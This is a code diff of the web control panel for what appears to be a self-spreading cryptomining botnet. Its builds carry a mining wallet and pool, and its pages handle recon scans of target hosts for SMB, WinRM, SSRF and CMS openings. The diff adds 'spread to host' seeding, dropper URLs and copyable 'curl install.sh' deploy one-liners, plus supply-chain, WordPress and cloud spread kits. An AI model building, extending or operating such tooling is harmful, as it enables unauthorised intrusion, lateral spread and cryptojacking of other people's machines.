if (!reconHost || reconMatchedAgents.length === 0) return;
|
||||
const pick =
|
||||
reconReachableAgent ??
|
||||
[...reconMatchedAgents].sort((a, b) => {
|
||||
if (a.status === 'online' && b.status !== 'online') return -1;
|
||||
if (a.status !== 'online' && b.status === 'online') return 1;
|
||||
return 0;
|
||||
})[0];
|
||||
if (pick) {
|
||||
setSelectedIds(new Set([pick.id]));
|
||||
if (searchParams.get('tab') === 'spread') setActiveTab('spread');
|
||||
}
|
||||
}, [reconHost, reconMatchedAgents, reconReachableAgent, searchParams]);
|
||||
|
||||
const runSpreadToUnreachableHost = useCallback(async () => {
|
||||
const host = manualSpreadHost.trim() || reconHostParam;
|
||||
if (!host) return;
|
||||
setReconSpreadBusy(true);
|
||||
setReconSpreadMsg('');
|
||||
setSpreadToHostResult(null);
|
||||
try {
|
||||
const res = await api.postFleetSpreadToHost({
|
||||
host,
|
||||
finding: reconFindingParam || deployKit?.join_lane || undefined,
|
||||
});
|
||||
setSpreadToHostResult(res);
|
||||
setReconSpreadMsg(
|
||||
res.queued
|
||||
? `Queued discover_and_join from ${res.seed_agent_name ?? res.seed_agent_id ?? 'seed agent'}.`
|
||||
: (res.operator_note ?? 'Spread recommendation ready — see operator note.'),
|
||||
);
|
||||
if (res.seed_agent_id) {
|
||||
setSelectedIds(new Set([res.seed_agent_id]));
|
||||
setActiveTab('spread');
|
||||
}
|
||||
} catch (e) {
|
||||
setReconSpreadMsg(e instanceof Error ? e.message : 'Spread-to-host failed');
|
||||
} finally {
|
||||
setReconSpreadBusy(false);
|
||||
}
|
||||
}, [manualSpreadHost, reconHostParam, reconFindingParam, deployKit?.join_lane]);
|
||||
|
||||
const selectedAgents = useMemo(
|
||||
() => agents.filter((a) => selectedIds.has(a.id)),
|
||||
[agents, selectedIds]
|
||||
@@ -1089,6 +1205,67 @@ export default function CruciblePage() {
|
||||
|
||||
<AlsoHere page="/crucible" />
|
||||
|
||||
{reconHost && (
|
||||
<NeonCard accent="magenta" className="crucible-recon-spread-card operator-deck-card operator-interactive" tilt3d={false}>
|
||||
<div className="crucible-section-title font-tech">
|
||||
<span className="section-ornament">◆</span> Recon spread target{' '}
|
||||
<HelpTip field="crucible_recon_host" />
|
||||
</div>
|
||||
{reconHostUnreachable ? (
|
||||
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
|
||||
Spread to unreachable host <code className="crucible-code">{reconHost}</code> — no online agent on that IP.
|
||||
Pick a manual target or seed discover from the best online hop on the same subnet.
|
||||
</p>
|
||||
) : (
|
||||
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
|
||||
Pre-filtered roster for recon host <code className="crucible-code">{reconHost}</code>
|
||||
{reconReachableAgent ? ` — ${reconReachableAgent.name} is online.` : '.'}
|
||||
</p>
|
||||
)}
|
||||
<label className="seek-field-label" htmlFor="crucible-manual-spread-host">
|
||||
Manual IP / hostname target
|
||||
</label>
|
||||
<input
|
||||
id="crucible-manual-spread-host"
|
||||
type="text"
|
||||
className="crucible-inline-input crucible-seek-input"
|
||||
placeholder="10.1.2.50"
|
||||
value={manualSpreadHost}
|
||||
onChange={(e) => setManualSpreadHost(e.target.value)}
|
||||
/>
|
||||
{deployKit?.join_lane && (
|
||||
<p className="form-hint" style={{ marginTop: '0.35rem' }}>
|
||||
Deploy kit lane: <strong>{deployKit.join_lane}</strong>
|
||||
{deployKit.matched_service ? ` (${deployKit.matched_service})` : ''}
|
||||
{deployKit.dropper_urls?.install_sh ? (
|
||||
<>
|
||||
{' '}
|
||||
— <a href={deployKit.dropper_urls.install_sh} target="_blank" rel="noreferrer">install.sh</a>
|
||||
</>
|
||||
) : null}
|
||||
</p>
|
||||
)}
|
||||
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap', marginTop: '0.5rem' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn btn-cyan"
|
||||
disabled={reconSpreadBusy || !(manualSpreadHost.trim() || reconHostParam)}
|
||||
onClick={() => void runSpreadToUnreachableHost()}
|
||||
>
|
||||
{reconSpreadBusy ? 'Seeding…' : 'Spread to host'}
|
||||
</button>
|
||||
<HelpTip field="fleet_spread_to_host" />
|
||||
</div>
|
||||
{reconSpreadMsg && <p className="form-hint" style={{ marginTop: '0.35rem' }}>{reconSpreadMsg}</p>}
|
||||
{spreadToHostResult?.recommended_command && (
|
||||
<p className="form-hint font-tech" style={{ marginTop: '0.25rem', fontSize: '0.78rem' }}>
|
||||
Recommended: {spreadToHostResult.recommended_command}
|
||||
{spreadToHostResult.seed_agent_name ? ` via ${spreadToHostResult.seed_agent_name}` : ''}
|
||||
</p>
|
||||
)}
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
{agents.length > 0 && (
|
||||
<FleetToolbar
|
||||
agents={agents}
|
||||
@@ -1471,6 +1648,7 @@ export default function CruciblePage() {
|
||||
<div className="crucible-ops-panel">
|
||||
<CrucibleExpandedOps
|
||||
activeTab={activeTab}
|
||||
spreadHostHint={reconHost}
|
||||
selectedAgents={selectedAgents}
|
||||
selectedCount={selectedIds.size}
|
||||
singleSelectedAgent={singleSelectedAgent}
|
||||
|
||||
192
server/web/src/pages/DeployReconPage.css
Normal file
192
server/web/src/pages/DeployReconPage.css
Normal file
@@ -0,0 +1,192 @@
|
||||
.deploy-recon-page {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 1.25rem;
|
||||
}
|
||||
|
||||
.dr-scan-form {
|
||||
display: grid;
|
||||
grid-template-columns: 1fr 6rem 5rem 1fr auto;
|
||||
gap: 0.65rem;
|
||||
align-items: end;
|
||||
}
|
||||
|
||||
@media (max-width: 900px) {
|
||||
.dr-scan-form {
|
||||
grid-template-columns: 1fr 1fr;
|
||||
}
|
||||
}
|
||||
|
||||
.dr-field label {
|
||||
display: block;
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.68rem;
|
||||
letter-spacing: 0.06em;
|
||||
text-transform: uppercase;
|
||||
color: var(--text-muted);
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.dr-https-toggle {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
min-height: 2.25rem;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.dr-results {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 1rem;
|
||||
}
|
||||
|
||||
.dr-skeleton {
|
||||
display: grid;
|
||||
gap: 0.5rem;
|
||||
}
|
||||
|
||||
.dr-skeleton-bar {
|
||||
height: 0.85rem;
|
||||
border-radius: 4px;
|
||||
background: linear-gradient(90deg, rgba(255, 255, 255, 0.04), rgba(0, 232, 245, 0.08), rgba(255, 255, 255, 0.04));
|
||||
background-size: 200% 100%;
|
||||
animation: dr-shimmer 1.2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes dr-shimmer {
|
||||
0% { background-position: 100% 0; }
|
||||
100% { background-position: -100% 0; }
|
||||
}
|
||||
|
||||
.dr-section-title {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-cyan);
|
||||
margin: 0 0 0.5rem;
|
||||
}
|
||||
|
||||
.dr-port-matrix {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.45rem;
|
||||
}
|
||||
|
||||
.dr-port-cell {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.68rem;
|
||||
padding: 0.35rem 0.55rem;
|
||||
border-radius: 4px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.1);
|
||||
background: rgba(255, 255, 255, 0.03);
|
||||
color: var(--text-muted);
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
.dr-port-cell.open {
|
||||
border-color: rgba(0, 232, 245, 0.45);
|
||||
background: rgba(0, 232, 245, 0.1);
|
||||
color: #9efcff;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.dr-port-cell.open:hover {
|
||||
box-shadow: 0 0 12px rgba(0, 232, 245, 0.2);
|
||||
}
|
||||
|
||||
.dr-port-hint {
|
||||
margin-top: 0.35rem;
|
||||
font-size: 0.74rem;
|
||||
color: var(--text-muted);
|
||||
min-height: 1.1rem;
|
||||
}
|
||||
|
||||
.dr-findings-grid {
|
||||
display: grid;
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.dr-finding-card {
|
||||
border: 1px solid rgba(255, 255, 255, 0.08);
|
||||
border-radius: 6px;
|
||||
padding: 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.22);
|
||||
}
|
||||
|
||||
.dr-finding-head {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 0.45rem;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.dr-finding-title {
|
||||
font-weight: 600;
|
||||
font-size: 0.9rem;
|
||||
}
|
||||
|
||||
.dr-confidence {
|
||||
font-family: var(--font-tech);
|
||||
font-size: 0.62rem;
|
||||
letter-spacing: 0.05em;
|
||||
padding: 1px 6px;
|
||||
border-radius: 3px;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.dr-confidence.high {
|
||||
color: #ff8866;
|
||||
border: 1px solid rgba(255, 120, 40, 0.35);
|
||||
background: rgba(255, 120, 40, 0.12);
|
||||
}
|
||||
|
||||
.dr-confidence.medium {
|
||||
color: var(--neon-amber, #ffb347);
|
||||
border: 1px solid rgba(255, 180, 60, 0.3);
|
||||
background: rgba(255, 180, 60, 0.1);
|
||||
}
|
||||
|
||||
.dr-confidence.low {
|
||||
color: var(--text-muted);
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
background: rgba(255, 255, 255, 0.05);
|
||||
}
|
||||
|
||||
.dr-finding-detail {
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-muted);
|
||||
margin: 0 0 0.5rem;
|
||||
}
|
||||
|
||||
.dr-mermaid {
|
||||
font-family: monospace;
|
||||
font-size: 0.66rem;
|
||||
padding: 0.45rem;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
white-space: pre;
|
||||
border-radius: 4px;
|
||||
margin: 0.5rem 0;
|
||||
overflow-x: auto;
|
||||
}
|
||||
|
||||
.dr-deploy-panel {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.45rem;
|
||||
margin-top: 0.5rem;
|
||||
padding-top: 0.5rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.06);
|
||||
}
|
||||
|
||||
.dr-error {
|
||||
color: #ff6688;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.dr-empty {
|
||||
color: var(--text-muted);
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
115
server/web/src/pages/DeployReconPage.test.tsx
Normal file
115
server/web/src/pages/DeployReconPage.test.tsx
Normal file
@@ -0,0 +1,115 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import DeployReconPage from './DeployReconPage';
|
||||
import { routerFuture } from '../routerFuture';
|
||||
import { api } from '../api/client';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
import type { ReconScanReport } from '../types/recon';
|
||||
|
||||
vi.mock('../components/HelpTip', () => ({
|
||||
HelpTip: () => null,
|
||||
}));
|
||||
|
||||
const sampleReport: ReconScanReport = {
|
||||
host: 'scan.lab',
|
||||
scanned_at: '2026-06-07T12:00:00Z',
|
||||
ports: [
|
||||
{ port: 22, open: false },
|
||||
{ port: 445, open: true },
|
||||
{ port: 5985, open: true },
|
||||
],
|
||||
crawl: {
|
||||
pages_fetched: 1,
|
||||
ssrf_score: 45,
|
||||
url_fields: [{ page_url: 'http://scan.lab/', name: 'url', hint: 'url' }],
|
||||
cms_fingerprints: ['wordpress'],
|
||||
},
|
||||
recommendations: [{ lane: 'winrm', reason: 'WinRM open', priority: 30 }],
|
||||
};
|
||||
|
||||
function renderPage() {
|
||||
return render(
|
||||
<MemoryRouter future={routerFuture}>
|
||||
<DeployReconPage />
|
||||
</MemoryRouter>,
|
||||
);
|
||||
}
|
||||
|
||||
describe('DeployReconPage', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([
|
||||
{
|
||||
id: 'pin-build',
|
||||
worker_name: 'worker',
|
||||
server_url: 'http://localhost:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
threads: 4,
|
||||
file_size: 1024,
|
||||
file_path: 'builds/agent.exe',
|
||||
file_name: 'agent.exe',
|
||||
created_at: '2026-06-07T12:00:00Z',
|
||||
pool_host: 'pool.example.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
platform: 'windows',
|
||||
download_url: '/api/v1/builds/pin-build/download',
|
||||
pinned: true,
|
||||
},
|
||||
]);
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
vi.spyOn(api, 'reconScan').mockResolvedValue(sampleReport);
|
||||
vi.stubGlobal('navigator', {
|
||||
clipboard: { writeText: vi.fn().mockResolvedValue(undefined) },
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('renders hero and scan form', async () => {
|
||||
renderPage();
|
||||
expect(await screen.findByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeInTheDocument();
|
||||
expect(screen.getByTestId('dr-host-input')).toBeInTheDocument();
|
||||
expect(screen.getByTestId('dr-scan-btn')).toBeDisabled();
|
||||
});
|
||||
|
||||
it('runs scan and shows port matrix and findings', async () => {
|
||||
const user = userEvent.setup();
|
||||
renderPage();
|
||||
await user.type(screen.getByTestId('dr-host-input'), 'scan.lab');
|
||||
await user.click(screen.getByTestId('dr-scan-btn'));
|
||||
|
||||
expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
|
||||
await waitFor(() => expect(api.reconScan).toHaveBeenCalled());
|
||||
expect(screen.getByTestId('dr-port-matrix')).toBeInTheDocument();
|
||||
expect(screen.getByTestId('dr-finding-ssrf')).toBeInTheDocument();
|
||||
expect(screen.getByRole('link', { name: /Fleet spread to scan\.lab/i })).toHaveAttribute(
|
||||
'href',
|
||||
'/crucible?tab=spread&spread_host=scan.lab',
|
||||
);
|
||||
});
|
||||
|
||||
it('shows skeleton while scanning', async () => {
|
||||
let resolveScan!: (v: ReconScanReport) => void;
|
||||
vi.spyOn(api, 'reconScan').mockImplementation(
|
||||
() => new Promise((res) => { resolveScan = res; }),
|
||||
);
|
||||
const user = userEvent.setup();
|
||||
renderPage();
|
||||
await user.type(screen.getByTestId('dr-host-input'), 'slow.lab');
|
||||
await user.click(screen.getByTestId('dr-scan-btn'));
|
||||
expect(screen.getByTestId('dr-scan-skeleton')).toBeInTheDocument();
|
||||
resolveScan(sampleReport);
|
||||
expect(await screen.findByTestId('dr-results')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
345
server/web/src/pages/DeployReconPage.tsx
Normal file
345
server/web/src/pages/DeployReconPage.tsx
Normal file
@@ -0,0 +1,345 @@
|
||||
import { memo, useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord } from '../types';
|
||||
import type { ReconPortResult, ReconScanReport, ReconWebFindingCard } from '../types/recon';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
import SacredPageHeader from '../components/Visual/sacredGeometry/SacredPageHeader';
|
||||
import {
|
||||
FLEET_SPREAD_PORTS,
|
||||
RECON_PORT_HINTS,
|
||||
buildReconFindingCards,
|
||||
buildReconMermaid,
|
||||
crucibleSpreadLink,
|
||||
curlInstallLine,
|
||||
reconScanBody,
|
||||
} from '../help/deployRecon';
|
||||
import './DeployReconPage.css';
|
||||
import '../components/Fleet/ReconVisuals.css';
|
||||
|
||||
const SCAN_DEBOUNCE_MS = 350;
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
const copy = () => {
|
||||
void navigator.clipboard?.writeText(text).then(() => {
|
||||
setOk(true);
|
||||
setTimeout(() => setOk(false), 1500);
|
||||
}).catch(() => {});
|
||||
};
|
||||
return (
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
|
||||
{ok ? 'Copied' : label}
|
||||
</button>
|
||||
);
|
||||
}
|
||||
|
||||
function ScanSkeleton() {
|
||||
return (
|
||||
<div className="dr-skeleton" data-testid="dr-scan-skeleton" aria-busy="true">
|
||||
<div className="dr-skeleton-bar" style={{ width: '40%' }} />
|
||||
<div className="dr-skeleton-bar" style={{ width: '88%' }} />
|
||||
<div className="dr-skeleton-bar" style={{ width: '72%' }} />
|
||||
<div className="dr-skeleton-bar" style={{ width: '60%' }} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const PortMatrix = memo(function PortMatrix({
|
||||
ports,
|
||||
onHint,
|
||||
}: {
|
||||
ports: ReconPortResult[];
|
||||
onHint: (hint: string) => void;
|
||||
}) {
|
||||
return (
|
||||
<div data-testid="dr-port-matrix">
|
||||
<h3 className="dr-section-title">
|
||||
Port matrix <HelpTip field="dr_port_matrix" />
|
||||
</h3>
|
||||
<div className="dr-port-matrix">
|
||||
{ports.map((p) => (
|
||||
<button
|
||||
key={p.port}
|
||||
type="button"
|
||||
className={`dr-port-cell${p.open ? ' open' : ''}`}
|
||||
disabled={!p.open}
|
||||
title={p.open ? RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open` : `TCP ${p.port} closed`}
|
||||
onClick={() => {
|
||||
if (p.open) onHint(RECON_PORT_HINTS[p.port] ?? `TCP ${p.port} open`);
|
||||
}}
|
||||
>
|
||||
{p.port}
|
||||
{p.open ? ' ●' : ' ○'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
});
|
||||
|
||||
const FindingCard = memo(function FindingCard({
|
||||
card,
|
||||
curlLine,
|
||||
host,
|
||||
fleetSpreadOpen,
|
||||
}: {
|
||||
card: ReconWebFindingCard;
|
||||
curlLine: string;
|
||||
host: string;
|
||||
fleetSpreadOpen: boolean;
|
||||
}) {
|
||||
return (
|
||||
<article className="dr-finding-card" data-testid={`dr-finding-${card.id}`}>
|
||||
<div className="dr-finding-head">
|
||||
<span className="dr-finding-title">{card.title}</span>
|
||||
<span className={`dr-confidence ${card.confidence}`}>{card.confidence}</span>
|
||||
{card.spread_lane ? (
|
||||
<span className="join-lane-badge">{card.spread_lane}</span>
|
||||
) : null}
|
||||
</div>
|
||||
<p className="dr-finding-detail">{card.detail}</p>
|
||||
{card.mermaid ? <pre className="dr-mermaid">{card.mermaid}</pre> : null}
|
||||
<div className="dr-deploy-panel">
|
||||
<CopyChip text={curlLine} label="Copy curl install.sh" />
|
||||
{card.probe_url ? (
|
||||
<CopyChip text={card.probe_url} label="Copy SSRF probe URL" />
|
||||
) : null}
|
||||
{fleetSpreadOpen ? (
|
||||
<Link to={crucibleSpreadLink(host)} className="btn btn-outline btn-sm">
|
||||
Fleet spread to {host}
|
||||
</Link>
|
||||
) : null}
|
||||
</div>
|
||||
</article>
|
||||
);
|
||||
});
|
||||
|
||||
const ResultsPanel = memo(function ResultsPanel({
|
||||
report,
|
||||
cards,
|
||||
mermaid,
|
||||
serverBase,
|
||||
pinnedBuildId,
|
||||
}: {
|
||||
report: ReconScanReport;
|
||||
cards: ReconWebFindingCard[];
|
||||
mermaid: string;
|
||||
serverBase: string;
|
||||
pinnedBuildId: string;
|
||||
}) {
|
||||
const [portHint, setPortHint] = useState('');
|
||||
const curlLine = useMemo(
|
||||
() => curlInstallLine(serverBase, pinnedBuildId),
|
||||
[serverBase, pinnedBuildId],
|
||||
);
|
||||
const fleetSpreadOpen = useMemo(
|
||||
() => report.ports.some((p) => p.open && FLEET_SPREAD_PORTS.has(p.port)),
|
||||
[report.ports],
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="dr-results" data-testid="dr-results">
|
||||
<PortMatrix ports={report.ports} onHint={setPortHint} />
|
||||
{portHint ? <p className="dr-port-hint" data-testid="dr-port-hint">{portHint}</p> : null}
|
||||
|
||||
<details open>
|
||||
<summary className="dr-section-title">Web findings</summary>
|
||||
{cards.length === 0 ? (
|
||||
<p className="dr-empty">No upload, SSRF, or CMS hints from crawl.</p>
|
||||
) : (
|
||||
<div className="dr-findings-grid">
|
||||
{cards.map((c) => (
|
||||
<FindingCard
|
||||
key={c.id}
|
||||
card={c}
|
||||
curlLine={curlLine}
|
||||
host={report.host}
|
||||
fleetSpreadOpen={fleetSpreadOpen}
|
||||
/>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</details>
|
||||
|
||||
{mermaid ? (
|
||||
<details>
|
||||
<summary className="dr-section-title">Deploy flow (mermaid)</summary>
|
||||
<pre className="dr-mermaid" data-testid="dr-mermaid">{mermaid}</pre>
|
||||
</details>
|
||||
) : null}
|
||||
|
||||
{(report.recommendations?.length ?? 0) > 0 ? (
|
||||
<details>
|
||||
<summary className="dr-section-title">Spread recommendations</summary>
|
||||
<ul className="dr-empty" style={{ margin: 0, paddingLeft: '1.1rem' }}>
|
||||
{report.recommendations!.map((r, i) => (
|
||||
<li key={`${r.lane}-${r.template}-${i}`}>{r.reason}</li>
|
||||
))}
|
||||
</ul>
|
||||
</details>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
});
|
||||
|
||||
export default function DeployReconPage() {
|
||||
const [host, setHost] = useState('');
|
||||
const [port, setPort] = useState('80');
|
||||
const [https, setHttps] = useState(false);
|
||||
const [pathPrefix, setPathPrefix] = useState('');
|
||||
const [scanning, setScanning] = useState(false);
|
||||
const [error, setError] = useState('');
|
||||
const [report, setReport] = useState<ReconScanReport | null>(null);
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
const [pinnedBuildId, setPinnedBuildId] = useState('');
|
||||
|
||||
const abortRef = useRef<AbortController | null>(null);
|
||||
const debounceRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
void (async () => {
|
||||
try {
|
||||
const [builds, info, cfg] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo(),
|
||||
api.getConfig(),
|
||||
]);
|
||||
const pub = cfg.server?.public_url?.trim();
|
||||
setServerBase((pub || info.suggested_url || window.location.origin).replace(/\/$/, ''));
|
||||
const pinned = builds.find((b: BuildRecord) => b.pinned);
|
||||
if (pinned) setPinnedBuildId(pinned.id);
|
||||
} catch {
|
||||
setServerBase(window.location.origin.replace(/\/$/, ''));
|
||||
}
|
||||
})();
|
||||
}, []);
|
||||
|
||||
const runScan = useCallback(async () => {
|
||||
const trimmed = host.trim();
|
||||
if (!trimmed) {
|
||||
setError('Host or IP required');
|
||||
return;
|
||||
}
|
||||
abortRef.current?.abort();
|
||||
const controller = new AbortController();
|
||||
abortRef.current = controller;
|
||||
setScanning(true);
|
||||
setError('');
|
||||
setReport(null);
|
||||
const portNum = parseInt(port, 10) || 80;
|
||||
try {
|
||||
const body = reconScanBody(trimmed, portNum, https, pathPrefix);
|
||||
const res = await api.reconScan(body, controller.signal);
|
||||
if (!controller.signal.aborted) setReport(res);
|
||||
} catch (e) {
|
||||
if (e instanceof DOMException && e.name === 'AbortError') return;
|
||||
setError(e instanceof Error ? e.message : 'Scan failed');
|
||||
} finally {
|
||||
if (!controller.signal.aborted) setScanning(false);
|
||||
}
|
||||
}, [host, port, https, pathPrefix]);
|
||||
|
||||
const scheduleScan = useCallback(() => {
|
||||
if (debounceRef.current) clearTimeout(debounceRef.current);
|
||||
debounceRef.current = setTimeout(() => {
|
||||
void runScan();
|
||||
}, SCAN_DEBOUNCE_MS);
|
||||
}, [runScan]);
|
||||
|
||||
useEffect(() => () => {
|
||||
abortRef.current?.abort();
|
||||
if (debounceRef.current) clearTimeout(debounceRef.current);
|
||||
}, []);
|
||||
|
||||
const cards = useMemo(
|
||||
() => (report ? buildReconFindingCards(report, serverBase) : []),
|
||||
[report, serverBase],
|
||||
);
|
||||
const mermaid = useMemo(
|
||||
() => (report ? buildReconMermaid(report.ports, cards) : ''),
|
||||
[report, cards],
|
||||
);
|
||||
|
||||
return (
|
||||
<div className="page deploy-recon-page operator-deck-page">
|
||||
<SacredPageHeader
|
||||
eyebrow="Browser spread"
|
||||
title="Deploy Recon"
|
||||
subtitle="Scan an operator-owned host for open fleet ports, upload/SSRF/CMS hints, and copy browser deploy one-liners."
|
||||
helpField="dr_overview"
|
||||
/>
|
||||
|
||||
<section className="neon-card dr-scan-form" aria-label="Recon target">
|
||||
<div className="dr-field">
|
||||
<label htmlFor="dr-host">Host / IP</label>
|
||||
<input
|
||||
id="dr-host"
|
||||
className="input"
|
||||
value={host}
|
||||
onChange={(e) => setHost(e.target.value)}
|
||||
placeholder="10.0.0.12 or app.lab"
|
||||
data-testid="dr-host-input"
|
||||
/>
|
||||
</div>
|
||||
<div className="dr-field">
|
||||
<label htmlFor="dr-port">Port</label>
|
||||
<input
|
||||
id="dr-port"
|
||||
className="input"
|
||||
type="number"
|
||||
min={1}
|
||||
max={65535}
|
||||
value={port}
|
||||
onChange={(e) => setPort(e.target.value)}
|
||||
data-testid="dr-port-input"
|
||||
/>
|
||||
</div>
|
||||
<div className="dr-field">
|
||||
<span className="dr-https-toggle">
|
||||
<input
|
||||
id="dr-https"
|
||||
type="checkbox"
|
||||
checked={https}
|
||||
onChange={(e) => setHttps(e.target.checked)}
|
||||
data-testid="dr-https-toggle"
|
||||
/>
|
||||
<label htmlFor="dr-https">HTTPS</label>
|
||||
</span>
|
||||
</div>
|
||||
<div className="dr-field">
|
||||
<label htmlFor="dr-path">Path prefix <HelpTip field="dr_path_prefix" /></label>
|
||||
<input
|
||||
id="dr-path"
|
||||
className="input"
|
||||
value={pathPrefix}
|
||||
onChange={(e) => setPathPrefix(e.target.value)}
|
||||
placeholder="/admin"
|
||||
data-testid="dr-path-input"
|
||||
/>
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-primary"
|
||||
disabled={scanning || !host.trim()}
|
||||
onClick={scheduleScan}
|
||||
data-testid="dr-scan-btn"
|
||||
>
|
||||
{scanning ? 'Scanning…' : 'Scan'}
|
||||
</button>
|
||||
</section>
|
||||
|
||||
{error ? <p className="dr-error" role="alert">{error}</p> : null}
|
||||
{scanning ? <ScanSkeleton /> : null}
|
||||
{report && !scanning ? (
|
||||
<ResultsPanel
|
||||
report={report}
|
||||
cards={cards}
|
||||
mermaid={mermaid}
|
||||
serverBase={serverBase}
|
||||
pinnedBuildId={pinnedBuildId}
|
||||
/>
|
||||
) : null}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -99,6 +99,8 @@ describe('EmberwakePage', () => {
|
||||
it('collapses advanced sections by default', async () => {
|
||||
renderEmberwake();
|
||||
await screen.findByRole('heading', { level: 1, name: /Emberwake/i });
|
||||
expect(screen.getByText(/Cloud ecosystem/i)).toBeInTheDocument();
|
||||
expect(screen.queryByTestId('cloud-spread-panel')).not.toBeVisible();
|
||||
expect(screen.getByText(/Supply-chain exports/i)).toBeInTheDocument();
|
||||
const wpTab = screen.getByRole('tab', { name: /WordPress plugin/i });
|
||||
expect(wpTab).not.toBeVisible();
|
||||
|
||||
@@ -22,6 +22,7 @@ import { usePresence } from '../context/PresenceContext';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import CloudSpreadPanel from '../components/Spread/CloudSpreadPanel';
|
||||
import SubnetAutopsyCard from '../components/Atlas/SubnetAutopsyCard';
|
||||
import { parseSeerSubnetAutopsy } from '../help/subnetAutopsy';
|
||||
import { HelpTip } from '../components/HelpTip';
|
||||
@@ -506,6 +507,19 @@ export default function EmberwakePage() {
|
||||
)}
|
||||
</section>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--cyan operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
Cloud ecosystem <HelpTip field="ew_cloud_aws" />
|
||||
</span>
|
||||
<span className="emberwake-section-desc emberwake-advanced-tag">Advanced</span>
|
||||
</summary>
|
||||
<p className="emberwake-section-desc">
|
||||
AWS S3/CloudFront, MinIO, Cloud Map, and generic VPS spread kits — uses campaign setup above.
|
||||
</p>
|
||||
<CloudSpreadPanel serverUrl={serverBase} buildId={pinA} campaign={campaign} />
|
||||
</details>
|
||||
|
||||
<details className="emberwake-advanced spread-section spread-section--violet operator-deck-card operator-interactive">
|
||||
<summary className="emberwake-advanced-summary">
|
||||
<span className="emberwake-section-title">
|
||||
|
||||
@@ -44,3 +44,134 @@ export interface ServiceGraphResponse {
|
||||
subnet?: string;
|
||||
services: ServiceGraphNode[];
|
||||
}
|
||||
|
||||
/** GET /api/v1/recon/deploy-kit — lane-specific spread kit for a recon host. */
|
||||
export interface ReconDeployKitDropperURLs {
|
||||
get?: string;
|
||||
get_windows?: string;
|
||||
get_linux?: string;
|
||||
get_darwin?: string;
|
||||
install_ps1?: string;
|
||||
install_sh?: string;
|
||||
install_command?: string;
|
||||
}
|
||||
|
||||
